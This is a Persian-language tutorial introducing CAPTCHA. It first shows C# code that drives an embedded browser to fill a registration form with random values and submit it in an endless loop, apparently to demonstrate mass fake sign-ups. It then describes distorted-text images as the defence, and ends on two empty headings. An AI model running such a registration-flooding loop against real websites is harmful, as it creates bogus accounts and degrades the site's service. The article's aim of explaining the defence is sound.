راه های بسیاری برای حمله کردن به یک وب سایت وجود دارد. از جمله SQL Injection، تزریق اسکریپت، ربودن session و... . در این زمینه ها شما مقالات بسیاری خواهید یافت که به تفصیل توضیحات زیادی دادهاند.
اما در این مقاله قصد داریم تا شما را با CAPTCHA یا همان Completely Automated Public Turing test to tell Computers and Humans Apart آشنا سازیم.
همانگونه که میدانید چنانچه شما در وب سایت خود صفحه ای مخصوص ثبت نام کاربران ایجاد کرده باشید، در صورتی که مکانیزمی برای شناسایی این که آیا استفاده کننده از برنامه یک انسان واقعی است یا یک نرم افزار فراهم نکرده باشید، این احتمال میرود که برخی نفوذگر ها با استفاده از نرم افزارهای موجود اقدام به ایجاد هزاران کاربر بنمایند! در این مقاله شرح خواهیم داد که چگونه ممکن است توسط یک برنامه، هزاران کاربر در یک وب سایت ایجاد نمود و بازدهی برنامه و پایگاه داده را کاهش داد.
برای ساخت چنین نرم افزاری، نیاز داریم تا یک برنامه تحت ویندوز ایجاد کرده و آن را اجرا کنیم. ما از یک کنترل COM به نام AxSHDocVw.AxWebBrowser همراه با MSHTML استفاده میکنیم که برای ما امکان استفاده از یک مرورگر IE همراه با مدل DOM در HTML را فراهم میکند.
در این مثال از اشیاء ACTIVEX زیر استفاده میکنیم
mshtml.tlb
SHDocVw.dll
شما میتوانید این اشیاء را در پوشه windows/system32 کامپیوتر خود پیدا کنید
بریا طراحی و پیاده سازی برنامه مراحل زیر را طی خواهیم کرد:
• مرحله 1 – ربودن صفحه ثبت نام با استفاده از کنترل WebBrowser
• شناسایی فیلدهای مختلف فرم را در صفحه ثبت نام با استفاده از کنترل MSHTML میتوانیم
• ایجاد مقادیر تصادفی برای فیلدها
• ارسال مقادیر تولید شده به وب سایت برای ثبت نام
پس از انجام این مراحل میتوانیم دو مرحله آخر را به تعداد دلخواه انجام دهیم!
تصور کنید که این وب سایت دارای یک فرم ثبت نام با فیلدهای زیر و یک دکمه ارسال باشد
UserId
First Name
Last Name
Password
Confirm Password
در برنامه تحت ویندوزی که نوشته ایم ، در رخداد Load برای فرم، این کد را مینویسیم :
private void Form1_Load(object sender, System.EventArgs e)
{
//get the registrations page URL
string url="http://localhost:8181/TestApplication1/Registration.aspx";
Object o = null;
//fetch the page to your web browser.
WebBrowser1.Navigate(url, ref o, ref o, ref o, ref o);
}
سپس برای دکمه ارسال فرم وب به سرور که روی فرم ویندوزی ما قرار دارد، این کد را مینویسیم:
private void btnRegisterClick_Click(object sender, System.EventArgs e)
{
// use the HTMLDocument interface of mshtml to simulate the registration process
mshtml.HTMLDocument obj;
string tempGuid,userId,firstName,LastName,password=string.Empty;
//execute an infinite loop
while(true)
{
try
{
//get the random values for this user
tempGuid=System.Guid.NewGuid().ToString();
userId=tempGuid.Substring(0,9);
firstName=tempGuid.Substring(3,12);
LastName=tempGuid.Substring(11,10);
password=tempGuid.Substring(10,8);
// assign the values to the form fields.
obj=(mshtml.HTMLDocument)WebBrowser1.Document;
obj.getElementById("txtUserId").innerText=userId;
obj.getElementById("txtFirstName").innerText=firstName;
obj.getElementById("txtLastName").innerText=LastName;
obj.getElementById("txtPassword").innerText=password;
obj.getElementById("txtConfirmPassword").innerText=password;
// find the submit button to post the information to the website
// execute the click of the submit button to post the information
obj.getElementById("btnSubmit").click();
// Note if you can't find the submit button
// by id then use the following approach
// find it by index in the entire HTMLDocument
/*
mshtml.HTMLInputElement objbut;
objbut=(mshtml.HTMLInputElement)obj.all.item("submit",0);
objbut.click();
*/
}
catch
{
// failed :(
// no problem we'll try again( try try until the site die ..)
}
}
همانطور که میبنیید با استفاده از getElementById توانسته ایم فیلد HML مورد نظر را بگیریم و در آن مقادیر تصادفی را قرار دهیم.
اما ببینیم راه حل غلبه بر این مشکل چیست؟
برای پیشگیری از چنین حمله هایی، ما نیاز داریم بدانیم که طرف مقابل یک انسان است و نه یک برنامه کامپیوتری! بهترین رویکرد برای انجام چنین کاری ایجاد تصویر یک نوشته درهم برهم و نمایش آن به کاربر است . سپس از کاربر میخواهیم که این متن را شناسایی کرده و آن را در داخل مکان مربوطه بنویسد.
شناسایی چنین متنهایی برای برنامه های کامپیوتری بسیار دشوار و در بسیاری موارد عملا غیرممکن است.
روش نامناسب
روش مناسب